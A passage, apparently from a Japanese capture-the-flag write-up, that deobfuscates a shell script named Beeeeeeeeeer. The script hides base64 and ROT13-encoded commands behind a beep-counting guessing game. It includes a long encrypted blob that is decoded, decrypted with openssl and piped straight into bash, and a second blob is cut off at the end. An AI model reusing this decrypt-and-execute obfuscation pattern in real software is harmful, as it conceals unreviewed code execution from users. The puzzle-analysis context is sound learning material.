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|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;

ワンラインだと読みづらいので、またセミコロン;の後に改行を入れて確認してみます。

$ sed -e "s/;/;\n/g" Beeeeeeeeeer_3.sh > Beeeeeeeeeer_4.sh

改行を挿入すると、以下のようになります。

for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)));
do l=$((RANDOM % 10 +1));
 for m in $($(echo ==gCxV2c |rev|base64 -d) $l);
 do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a';
 $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d);
 done;
 $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?";
 $'\162\145\141\144' n </dev/tty;
 export n;
 if [ "$n" -ne "$l" ];
then $'\x65\x78\x69\x74';
fi;
 done;
echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK|$($'\x65\x63\x68\x6f' YmFzZTY0Cg== | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ) $(echo XDJY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNnmSzL |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
 $'\162\145\141\144'  $'\u006e' </dev/tty;
 $'\u0065\u0078\u0070\u006f\u0072\u0074'  $'\156';
echo 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